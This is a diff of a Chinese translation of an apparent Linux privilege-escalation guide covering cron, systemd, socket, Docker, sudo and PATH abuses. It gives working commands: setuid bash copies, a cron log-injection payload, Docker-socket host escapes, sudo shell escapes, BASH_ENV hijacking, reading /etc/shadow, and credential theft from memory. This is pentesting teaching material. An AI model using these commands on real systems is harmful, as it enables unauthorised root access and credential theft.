[**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) 将**从内存窃取明文凭证**并从一些**已知文件**中获取凭证。它需要 root 权限才能正常工作。 -| 功能 | 进程名称 | +| 功能 | 进程名 | | ------------------------------------------------- | -------------------- | | GDM 密码 (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | @@ -315,34 +316,34 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... ``` ## 定时任务/Cron jobs -检查是否有任何定时任务易受攻击。也许你可以利用一个由 root 执行的脚本(wildcard vuln? 可以修改 root 使用的文件吗? 使用 symlinks? 在 root 使用的目录中创建特定文件?)。 +检查是否有任何定时任务存在漏洞。也许你可以利用由 root 执行的 script(wildcard vuln? 可以修改 root 使用的文件? 使用 symlinks? 在 root 使用的目录中创建特定文件?)。 ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Cron 路径 +### Cron path -例如,在 _/etc/crontab_ 中你可以找到 PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +例如,在 _/etc/crontab_ 中你可以找到 PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_注意 user 用户对 /home/user 有写权限_) +(_注意用户 "user" 对 /home/user 拥有写权限_) -如果在这个 crontab 中 root 尝试执行某个命令或脚本而没有设置 path。例如: _\* \* \* \* root overwrite.sh_\ -那么,你可以通过以下方式获得 root shell: +如果在这个 crontab 中 root 用户尝试执行某个命令或脚本但没有设置 PATH。例如: _\* \* \* \* root overwrite.sh_\ +然后,你可以通过使用以下方法获得 root shell: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron 使用包含通配符的脚本 (Wildcard Injection) +### Cron 使用带通配符的脚本 (Wildcard Injection) -如果某个由 root 执行的脚本在命令中包含 “**\***”,你可以利用它导致意外行为(例如 privesc)。示例: +如果脚本以 root 身份执行,并且命令中包含 “**\***”,你可以利用这一点触发意外行为(例如 privesc)。示例: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**如果 wildcard 前面是像** _**/some/path/\***_ **这样的路径,则它不易受影响(即使** _**./\***_ **也不)。** +**如果通配符出现在像** _**/some/path/\***_ **的路径之前,则它不易受到影响(即使** _**./\***_ **也不受影响)。** -阅读以下页面以获取更多 wildcard 利用技巧: +阅读下列页面以获取更多通配符利用技巧: {{#ref}} @@ -352,11 +353,11 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash 在 ((...))、$((...)) 和 let 的算术求值之前,会先进行 parameter expansion 和 command substitution。如果 root 的 cron/parser 读取不受信任的日志字段并将其传入算术上下文,攻击者可以注入 command substitution $(...),在 cron 运行时以 root 权限执行。 +Bash 在 ((...))、$((...)) 和 let 中的 arithmetic evaluation 之前会执行 parameter expansion 和 command substitution。如果一个 root cron/parser 读取不受信任的日志字段并将其送入算术上下文,攻击者可以注入 command substitution $(...),在 cron 运行时该命令会以 root 身份执行。 -- 为什么可行:在 Bash 中,expansions 的顺序是:parameter/variable expansion、command substitution、arithmetic expansion,然后是 word splitting 和 pathname expansion。所以像 `$(/bin/bash -c 'id > /tmp/pwn')0` 这样的值会先被 substitution(运行命令),然后剩下的数字 `0` 被用于算术运算,脚本因此可以继续而不会报错。 +- 为什么它有效:在 Bash 中,expansions 的执行顺序为:parameter/variable expansion、command substitution、arithmetic expansion,然后是 word splitting 和 pathname expansion。所以像 `$(/bin/bash -c 'id > /tmp/pwn')0` 这样的值会先被替换(运行命令),然后剩余的数字 `0` 用于算术运算,使脚本继续而不出错。 -- 典型的易受攻击模式: +- 典型易受攻击模式: ```bash #!/bin/bash # Example: parse a log and "sum" a count field coming from the log @@ -366,7 +367,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- 利用方法:将可被攻击者控制的文本写入被解析的日志,使看起来像数字的字段包含 command substitution 并以数字结束。确保你的命令不向 stdout 输出(或将其重定向),以使算术运算仍然有效。 +- 利用方法:让受攻击者控制的文本被写入被解析的日志,使看起来像数字的字段包含一个 command substitution 并以数字结尾。确保你的命令不向 stdout 输出(或将其重定向),以保持算术有效。 ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -375,29 +376,29 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 ### Cron script overwriting and symlink -如果你 **能修改一个 cron script**(由 root 执行),你可以非常容易地获得一个 shell: +如果你 **可以修改一个由 root 执行的 cron script**,你可以很容易获得一个 shell: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -如果由 root 执行的脚本使用了一个你拥有完全访问权限的 **目录**,那么删除该文件夹并 **创建一个指向另一个的 symlink 文件夹**,用于托管由你控制的脚本,可能会很有用。 +如果被 root 执行的 script 使用了一个你拥有 **directory where you have full access**,那么删除该 directory 并 **create a symlink folder to another one**(指向由你控制并提供 script 的目录)可能会很有用。 ```bash ln -d -s ``` ### 频繁的 cron jobs -你可以监视进程以查找每隔 1、2 或 5 分钟执行的进程。也许你可以利用它来提权。 +你可以监控进程以查找每隔 1、2 或 5 分钟被执行的进程。也许你可以利用它来提权。 -例如,要 **在 1 分钟内每 0.1 秒监视一次**、**按执行次数较少排序** 并删除执行次数最多的命令,你可以这样做: +例如,要 **以每 0.1 秒监控 1 分钟**、**按执行次数较少排序命令** 并删除执行次数最多的命令,你可以做: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**你也可以使用** [**pspy**](https://github.com/DominicBreuker/pspy/releases)(这将监控并列出每个启动的进程)。 +**你也可以使用** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (它将监视并列出每个启动的进程)。 ### 隐形 cron jobs -可以通过在注释后放置一个回车(没有换行字符)来创建一个 cronjob,cron job 仍然会生效。示例(注意回车字符): +可以创建一个 cronjob,**在注释后插入回车字符**(不包含换行符),并且该 cron job 会生效。示例(注意回车字符): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -405,85 +406,85 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### 可写的 _.service_ 文件 -检查是否可以写入任何 `.service` 文件,如果可以,你**可以修改它**,使其在服务**启动**、**重启**或**停止**时**执行**你的**backdoor**(可能需要等到机器重启)。\ -例如在 `.service` 文件中通过 **`ExecStart=/tmp/script.sh`** 创建你的 backdoor +检查是否可以写入任何 `.service` 文件,如果可以,你**可以修改它**,以便它**执行**你的**backdoor 当**服务**启动**、**重启**或**停止**时(可能需要等到机器重启)。\ +例如在 .service 文件中创建你的 backdoor,使用 **`ExecStart=/tmp/script.sh`** ### 可写的服务二进制文件 -请记住,如果你对由服务执行的二进制文件拥有**写权限**,你可以修改它们以植入 backdoor,这样当服务被重新执行时,backdoor 也会被执行。 +请记住,如果你**对正在被 services 执行的 binaries 拥有写权限**,你可以把它们改成 backdoors,这样当 services 被重新执行时,backdoors 就会被执行。 ### systemd PATH - 相对路径 -你可以通过以下命令查看 **systemd** 使用的 PATH: +你可以使用以下命令查看 **systemd** 使用的 PATH: ```bash systemctl show-environment ``` -如果你发现你可以在该路径的任一文件夹中**写入**,你可能能够**escalate privileges**。你需要在服务配置文件中搜索像下面这样使用**相对路径**的条目: +如果你发现自己可以在路径的任一文件夹中**写入**,那么你可能能够**提升权限**。你需要搜索**在服务配置文件中使用的相对路径**,例如: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -然后,在你可以写入的 systemd PATH 文件夹中创建一个与相对路径二进制同名的 **可执行文件**,当服务被要求执行易受攻击的操作(**Start**, **Stop**, **Reload**)时,你的 **backdoor** 将被执行(非特权用户通常无法启动/停止服务,但请检查是否可以使用 `sudo -l`)。 +然后,在你可写的 systemd PATH 文件夹中,创建一个与相对路径 binary 同名的 **可执行文件**,当服务被要求执行易受攻击的操作(**Start**, **Stop**, **Reload**)时,你的 **backdoor 将被执行**(非特权用户通常不能 start/stop services,但检查是否可以使用 `sudo -l`)。 -**Learn more about services with `man systemd.service`.** +**关于 services 的更多信息,请参阅 `man systemd.service`.** -## **计时器** +## **Timers(计时器)** -**Timers** 是以 `**.timer**` 结尾的 systemd unit 文件,用于控制 `**.service**` 文件或触发事件。**Timers** 可作为 cron 的替代方案,因为它们对日历时间事件和单调时间事件提供内建支持,并且可以异步运行。 +Timers 是 systemd 单元文件,其名称以 **.timer** 结尾,用于控制 **.service** 文件或事件。Timers 可用作 cron 的替代方案,因为它们对日历时间事件和单调时间事件具有内置支持,并且可以异步运行。 -你可以列举所有的定时器: +你可以使用以下命令枚举所有的计时器: ```bash systemctl list-timers --all ``` -### 可写的计时器 +### 可写计时器 -如果你可以修改一个计时器,你就可以让它执行某些 systemd.unit 实例(例如 `.service` 或 `.target`) +如果你可以修改一个 timer,你可以让它执行 systemd.unit 的某些现有单元(比如 `.service` 或 `.target`) ```bash Unit=backdoor.service ``` -在文档中你可以读到 Unit 是: +In the documentation you can read what the Unit is: -> 当该 timer 到期时要激活的单元。参数是一个单元名称,其后缀不是 ".timer"。如果未指定,该值默认为一个与 timer 单元同名(除后缀外)的 service。(见上文。)建议被激活的单元名称和 timer 单元的单元名称除了后缀外保持一致。 +> 在计时器到期时要激活的 unit。参数是一个 unit 名称,其后缀不是 ".timer"。如果未指定,此值默认为与 timer unit 同名但后缀不同的 service。(见上文。)建议被激活的 unit 名称与 timer unit 的名称除了后缀外应相同。 -因此,要滥用此权限,你需要: +Therefore, to abuse this permission you would need to: -- 找到某个 systemd unit(例如 `.service`),它正在执行一个 **可写的二进制** -- 找到某个 systemd unit,其正在执行一个 **相对路径**,并且你对 **systemd PATH** 拥有 **写入权限**(以模仿该可执行文件) +- 找到某个 systemd unit(例如 `.service`),它正在 **执行一个可写的二进制文件** +- 找到某个 systemd unit 正在 **执行相对路径**,且你对 **systemd PATH** 拥有 **写权限**(以冒充该可执行文件) -**更多关于 timers 的信息请参见 `man systemd.timer`.** +**Learn more about timers with `man systemd.timer`.** -### **启用 Timer** +### **启用计时器** -要启用一个 timer,你需要 root 权限并执行: +要启用计时器,你需要 root 权限并执行: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` +注意 **timer** 是通过在 `/etc/systemd/system/.wants/.timer` 上创建指向它的符号链接来**激活**的。 ## Sockets -Unix Domain Sockets (UDS) enable **进程间通信** on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through `.socket` files. +Unix Domain Sockets (UDS) 在客户端-服务器模型中允许在同一台或不同机器之间进行**进程通信**。它们使用标准的 Unix 描述符文件进行主机间通信,并通过 `.socket` 文件进行配置。 -Sockets can be configured using `.socket` files. +Sockets 可以使用 `.socket` 文件进行配置。 -**Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured: +**Learn more about sockets with `man systemd.socket`.** 在该文件中,可以配置若干有趣的参数: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: These options are different but a summary is used to **指示将在哪监听** the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen, etc.) -- `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **默认值为 false**。出于性能原因,建议新的 daemon 仅以适合 `Accept=no` 的方式编写。 -- `ExecStartPre`, `ExecStartPost`: Takes one or more command lines, which are **executed before** or **after** the listening **sockets**/FIFOs are **created** and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process. -- `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively. -- `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: 这些选项各不相同,但总体上用于**指示将在哪监听**该 socket(AF_UNIX 套接字文件的路径、要监听的 IPv4/6 和/或端口号等)。 +- `Accept`: 接受一个布尔参数。如果为 **true**,则会为每个传入连接**生成一个 service 实例**,并且只将连接的 socket 传递给它。如果为 **false**,则所有监听 sockets 本身会**被传递给启动的 service 单元**,并且只为所有连接生成一个 service 单元。对于 datagram sockets 和 FIFOs,该值被忽略,因为单个 service 单元无条件处理所有传入流量。**默认值为 false**。出于性能考虑,建议新守护进程以适配 `Accept=no` 的方式编写。 +- `ExecStartPre`, `ExecStartPost`: 接受一个或多个命令行,分别在监听的 **sockets**/FIFOs 被**创建**并绑定之前或之后**执行**。命令行的第一个标记必须是一个绝对文件名,随后是该进程的参数。 +- `ExecStopPre`, `ExecStopPost`: 额外的**命令**,分别在监听的 **sockets**/FIFOs 被**关闭**并移除之前或之后**执行**。 +- `Service`: 指定在有**传入流量**时要**激活**的 **service** 单元名称。此设置仅允许用于 Accept=no 的 socket。默认是与 socket 同名的 service(后缀被替换)。在大多数情况下,通常不需要使用此选项。 -### Writable .socket files +### 可写的 .socket 文件 -If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\ -_注意:系统必须正在使用该 socket 文件的配置,否则 backdoor 不会被执行_ +如果你发现一个**可写的** `.socket` 文件,你可以在 `[Socket]` 部分开头添加类似 `ExecStartPre=/home/kali/sys/backdoor` 的内容,backdoor 会在 socket 被创建之前执行。因此,你**可能需要等到机器重启。**\ +_注意,系统必须正在使用该 socket 文件配置,否则 backdoor 不会被执行_ -### Writable sockets +### 可写的 sockets -If you **identify any writable socket** (_now we are talking about Unix Sockets and not about the config `.socket` files_), then **you can communicate** with that socket and maybe exploit a vulnerability. +如果你**识别到任何可写的 socket**(_这里指的是 Unix Sockets,而不是配置的 `.socket` 文件_),那么**你可以与该 socket 进行通信**,并可能利用其中的漏洞。 ### 枚举 Unix Sockets ```bash @@ -507,15 +508,15 @@ socket-command-injection.md ### HTTP sockets -请注意,可能存在一些 **sockets listening for HTTP** 请求(_我不是指 .socket 文件,而是充当 unix sockets 的文件_)。你可以使用以下命令检查: +注意可能存在一些 **sockets listening for HTTP** 请求 (_我不是在说 .socket files,而是那些充当 unix sockets 的文件_)。你可以用以下命令检查: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -如果该 socket 对 HTTP 请求 **响应**,那么你可以与其 **通信**,并可能 **利用某些漏洞**。 +If the socket **对 HTTP 请求有响应**,那么你可以与它 **通信**,并可能 **exploit some vulnerability**。 -### 可写的 Docker socket +### 可写 Docker Socket -Docker socket(通常位于 `/var/run/docker.sock`)是一个需要加固的关键文件。默认情况下,它对 `root` 用户和 `docker` 组的成员是可写的。拥有对该 socket 的写权限可能导致 privilege escalation。下面是如何做到这一点的分解,以及在无法使用 Docker CLI 时的替代方法。 +Docker socket,通常位于 `/var/run/docker.sock`,是一个需要加固的关键文件。默认情况下,它对 `root` 用户和 `docker` 组的成员是可写的。对该 socket 拥有写权限可能导致 privilege escalation。下面是该操作的分解说明,以及当 Docker CLI 不可用时的替代方法。 #### **Privilege Escalation with Docker CLI** @@ -524,31 +525,31 @@ Docker socket(通常位于 `/var/run/docker.sock`)是一个需要加固的 docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -这些命令允许你运行一个对主机文件系统具有 root 级别访问的 container。 +这些命令允许你运行一个容器,从而以 root 权限访问主机的文件系统。 #### **直接使用 Docker API** -在 Docker CLI 不可用的情况下,仍然可以使用 Docker API 和 `curl` 命令来操纵 Docker socket。 +当 Docker CLI 不可用时,仍然可以使用 Docker API 和 `curl` 命令操作 Docker socket。 -1. **List Docker Images:** 检索可用镜像列表。 +1. **列出 Docker 镜像:** 获取可用镜像列表。 ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** 发送请求以创建一个挂载主机根目录的 container。 +2. **创建容器:** 发送请求以创建一个将主机根目录挂载进去的容器。 ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -启动新创建的 container: +启动新创建的容器: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** 使用 `socat` 与 container 建立连接,从而能够在其内执行命令。 +3. **Attach to the Container:** 使用 `socat` 建立与容器的连接,从而在容器内执行命令。 ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -558,13 +559,13 @@ Connection: Upgrade Upgrade: tcp ``` -在设置好 `socat` 连接后,你可以在 container 中直接执行命令,并以 root 级别访问主机的文件系统。 +在建立 `socat` 连接后,你可以在容器中直接执行命令,并以 root 权限访问主机的文件系统。 ### Others -注意,如果你对 docker socket 拥有写权限(因为你位于 `docker` 组内)你会有[**更多提升权限的方法**](interesting-groups-linux-pe/index.html#docker-group)。如果 [**docker API 在端口上监听**,你也可能能够攻破它](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。 +注意,如果你对 docker socket 有写权限,因为你是 **inside the group `docker`**,你有 [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group)。如果 [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。 -在以下位置查看有关**更多从 docker 逃逸或滥用它以提升权限的方法**: +查看 **更多从 docker 逃逸或滥用它以提升权限的方法** 在: {{#ref}} @@ -573,7 +574,7 @@ docker-security/ ## Containerd (ctr) privilege escalation -如果你发现可以使用 **`ctr`** 命令,请阅读以下页面,因为 **你可能能够滥用它来提升权限**: +如果你发现你可以使用 **`ctr`** 命令,请阅读以下页面,因为 **你可能能够滥用它以提升权限**: {{#ref}} @@ -582,7 +583,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** privilege escalation -如果你发现可以使用 **`runc`** 命令,请阅读以下页面,因为 **你可能能够滥用它来提升权限**: +如果你发现你可以使用 **`runc`** 命令,请阅读以下页面,因为 **你可能能够滥用它以提升权限**: {{#ref}} @@ -591,15 +592,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus 是一个复杂的 inter-Process Communication (IPC) 系统,使应用能够高效地互相交互和共享数据。它针对现代 Linux 系统设计,提供了一个在不同形式的应用通信中都很健壮的框架。 +D-Bus 是一个复杂的 **inter-Process Communication (IPC) 系统**,使应用程序能够高效地交互并共享数据。它为现代 Linux 系统而设计,提供了用于各种应用间通信的强大框架。 -该系统用途广泛,支持增强进程间数据交换的基本 IPC,类似于增强的 UNIX domain sockets。此外,它有助于广播事件或信号,促进系统组件之间的无缝集成。例如,来自 Bluetooth daemon 的来电信号可以促使音乐播放器静音,从而提升用户体验。除此之外,D-Bus 还支持远程对象系统,简化了应用之间的服务请求和方法调用,精简了传统上复杂的流程。 +该系统功能多样,支持基本的 IPC,增强进程间的数据交换,类似于 **增强的 UNIX domain sockets**。此外,它有助于广播事件或信号,促进系统组件之间的无缝集成。例如,Bluetooth 守护进程关于来电的信号可以促使音乐播放器静音,从而改善用户体验。此外,D-Bus 支持远程对象系统,简化应用之间的服务请求和方法调用,使传统上复杂的流程变得更简便。 -D-Bus 基于 allow/deny 模型运作,根据匹配的策略规则的累积效果来管理消息权限(方法调用、信号发送等)。这些策略指定了与 bus 的交互,可能通过利用这些权限导致权限提升。 +D-Bus 使用 **allow/deny 模型**(允许/拒绝模型)运行,根据匹配策略规则的累积效果来管理消息权限(方法调用、信号发送等)。这些策略规定了与 bus 的交互,可能通过利用这些权限实现权限提升。 -下面给出了 `/etc/dbus-1/system.d/wpa_supplicant.conf` 中此类策略的示例,说明了 root 用户对 `fi.w1.wpa_supplicant1` 拥有、发送和接收消息的权限。 +在 `/etc/dbus-1/system.d/wpa_supplicant.conf` 中给出了这样一个策略示例,详细说明了 root 用户对 `fi.w1.wpa_supplicant1` 的拥有、发送和接收消息的权限。 -未指定用户或组的策略适用于所有情况,而 "default" 上下文策略适用于未被其他特定策略覆盖的所有主体。 +没有指定用户或组的策略适用于所有用户,而“default”上下文策略适用于未被其他具体策略覆盖的所有实体。 ```xml @@ -608,7 +609,7 @@ D-Bus 基于 allow/deny 模型运作,根据匹配的策略规则的累积效 ``` -**在此学习如何 enumerate 和 exploit D-Bus communication:** +**在此了解如何 enumerate and exploit D-Bus communication:** {{#ref}} @@ -617,9 +618,9 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **网络** -对网络进行 enumerate 并弄清机器的位置总是很有趣。 +对网络进行 enumerate 并确定机器的位置通常很有帮助。 -### 通用 enumeration +### Generic enumeration ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -642,16 +643,16 @@ cat /etc/networks #Files used by network services lsof -i ``` -### Open ports +### 开放端口 -始终检查在你获得访问权限之前无法与之交互的机器上运行的网络服务: +始终检查在你访问该机器之前无法与之交互的正在运行的网络服务: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -检查你是否可以嗅探流量。如果可以,你可能能够获取一些凭证。 +检查是否可以 sniff traffic。 如果可以,你可能能够抓取一些 credentials。 ``` timeout 1 tcpdump ``` @@ -659,7 +660,7 @@ timeout 1 tcpdump ### 通用枚举 -检查你是谁,拥有哪些 **privileges**,系统中有哪些 **users**,哪些可以 **login**,哪些拥有 **root privileges**: +检查 **你是谁**、你拥有哪些 **权限**、系统中有哪些 **用户**、哪些可以 **登录** 以及哪些拥有 **root 权限**: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -683,12 +684,12 @@ gpg --list-keys 2>/dev/null ``` ### 大 UID -某些 Linux 版本受一个漏洞影响,该漏洞允许 **UID > INT_MAX** 的用户提升权限。更多信息: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Exploit it** using: **`systemd-run -t /bin/bash`** +一些 Linux 版本受一个漏洞影响,允许具有 **UID > INT_MAX** 的用户提升权限。更多信息: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**利用方法**: **`systemd-run -t /bin/bash`** ### 组 -检查你是否是某个可能授予你 root 权限的 **组成员**: +检查你是否是 **某个组的成员**,该组可能授予你 root 权限: {{#ref}} @@ -712,29 +713,29 @@ fi ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` -### Known passwords +### 已知密码 -If you **know any password** of the environment **try to login as each user** using the password. +如果你**知道环境中的任何密码**,**尝试使用该密码登录每个用户**。 ### Su Brute -If don't mind about doing a lot of noise and `su` and `timeout` binaries are present on the computer, you can try to brute-force user using [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) with `-a` parameter also try to brute-force users. +如果不介意产生大量噪音,且目标主机上存在 `su` 和 `timeout` 二进制文件,你可以使用 [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) 使用 `-a` 参数也会尝试对用户进行暴力破解。 -## Writable PATH abuses +## 可写 PATH 滥用 ### $PATH -If you find that you can **write inside some folder of the $PATH** you may be able to escalate privileges by **creating a backdoor inside the writable folder** with the name of some command that is going to be executed by a different user (root ideally) and that is **not loaded from a folder that is located previous** to your writable folder in $PATH. +如果你发现可以**写入 $PATH 的某个文件夹内**,你可能能够通过在该可写文件夹中**创建一个后门**来提升权限,后门的名称应为某个将由不同用户(理想情况下为 root)执行的命令,并且该命令**不会从位于你可写文件夹之前的文件夹加载**。 ### SUDO and SUID -You could be allowed to execute some command using sudo or they could have the suid bit. Check it using: +你可能被允许使用 sudo 执行某些命令,或者它们可能有 suid 位。使用以下命令检查: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -某些**意外命令可以让你读取和/或写入文件,甚至执行命令。**例如: +有些 **意想不到的命令允许你读取和/或写入文件,甚至执行命令。** 例如: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -751,31 +752,31 @@ $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -在这个例子中,用户 `demo` 可以以 `root` 身份运行 `vim`,现在很容易通过将 ssh key 添加到 root 目录或调用 `sh` 来获得 shell。 +在这个示例中,用户 `demo` 可以以 `root` 身份运行 `vim`,现在通过将 ssh 密钥添加到 root 目录或调用 `sh` 来获取 shell 变得很容易。 ``` sudo vim -c '!sh' ``` ### SETENV -这个指令允许用户在执行某些操作时**设置环境变量**: +此指令允许用户在执行某些操作时**设置环境变量**: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -这个示例,**based on HTB machine Admirer**,**vulnerable** to **PYTHONPATH hijacking**,可在以 root 身份执行脚本时加载任意 python 库: +此示例,**based on HTB machine Admirer**,**易受攻击**于 **PYTHONPATH hijacking**,可以在以 root 身份执行脚本时加载任意 python 库: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### BASH_ENV 通过 sudo env_keep 保留 → root shell +### BASH_ENV preserved via sudo env_keep → root shell -如果 sudoers 保留 `BASH_ENV`(例如,`Defaults env_keep+="ENV BASH_ENV"`),你可以利用 Bash 的非交互启动行为,在调用被允许的命令时以 root 身份运行任意代码。 +如果 sudoers 保留了 `BASH_ENV`(例如 `Defaults env_keep+="ENV BASH_ENV"`),你可以利用 Bash 的非交互启动行为,在调用被允许的命令时以 root 身份运行任意代码。 -- 为什么它有效:对于非交互式 shell,Bash 会评估 `$BASH_ENV` 并在运行目标脚本之前 source 该文件。许多 sudo 规则允许运行脚本或 shell 包装器。如果 `BASH_ENV` 被 sudo 保留,你的文件会以 root 特权被 source。 +- Why it works: 对于非交互式 shell,Bash 会评估 `$BASH_ENV` 并在运行目标脚本前 source 该文件。许多 sudo 规则允许运行脚本或 shell 包装器。如果 `BASH_ENV` 被 sudo 保留,你的文件会以 root 权限被 source。 -- 要求: -- 你可以运行的 sudo 规则(任何以非交互方式调用 `/bin/bash` 的目标,或任何 bash 脚本)。 -- `BASH_ENV` 存在于 `env_keep`(可使用 `sudo -l` 检查)。 +- Requirements: +- 一个你能运行的 sudo 规则(任何以非交互方式调用 `/bin/bash` 的目标,或任何 bash 脚本)。 +- `BASH_ENV` 存在于 `env_keep`(可用 `sudo -l` 检查)。 - PoC: ```bash @@ -787,14 +788,14 @@ chmod +x /dev/shm/shell.sh BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash # You should now have a root shell ``` -- 硬化: -- 从 `env_keep` 中移除 `BASH_ENV`(和 `ENV`),优先使用 `env_reset`。 -- 避免为 sudo 允许的命令使用 shell 包装器;使用最小化的二进制文件。 -- 考虑在保留环境变量被使用时对 sudo 的 I/O 进行记录和告警。 +- 加固: +- 删除 `BASH_ENV`(和 `ENV`)从 `env_keep`,优先使用 `env_reset`。 +- 避免为 sudo 允许的命令使用 shell wrappers;使用尽量精简的二进制文件。 +- 考虑在保留的 env vars 被使用时对 sudo 的 I/O 进行日志记录和告警。 -### Sudo 执行绕过路径 +### Sudo execution bypassing paths -**Jump** 去读取其他文件或使用 **symlinks**。例如在 sudoers 文件中: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**跳转** 以读取其他文件或使用 **symlinks**。例如在 sudoers 文件中: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -804,46 +805,46 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` 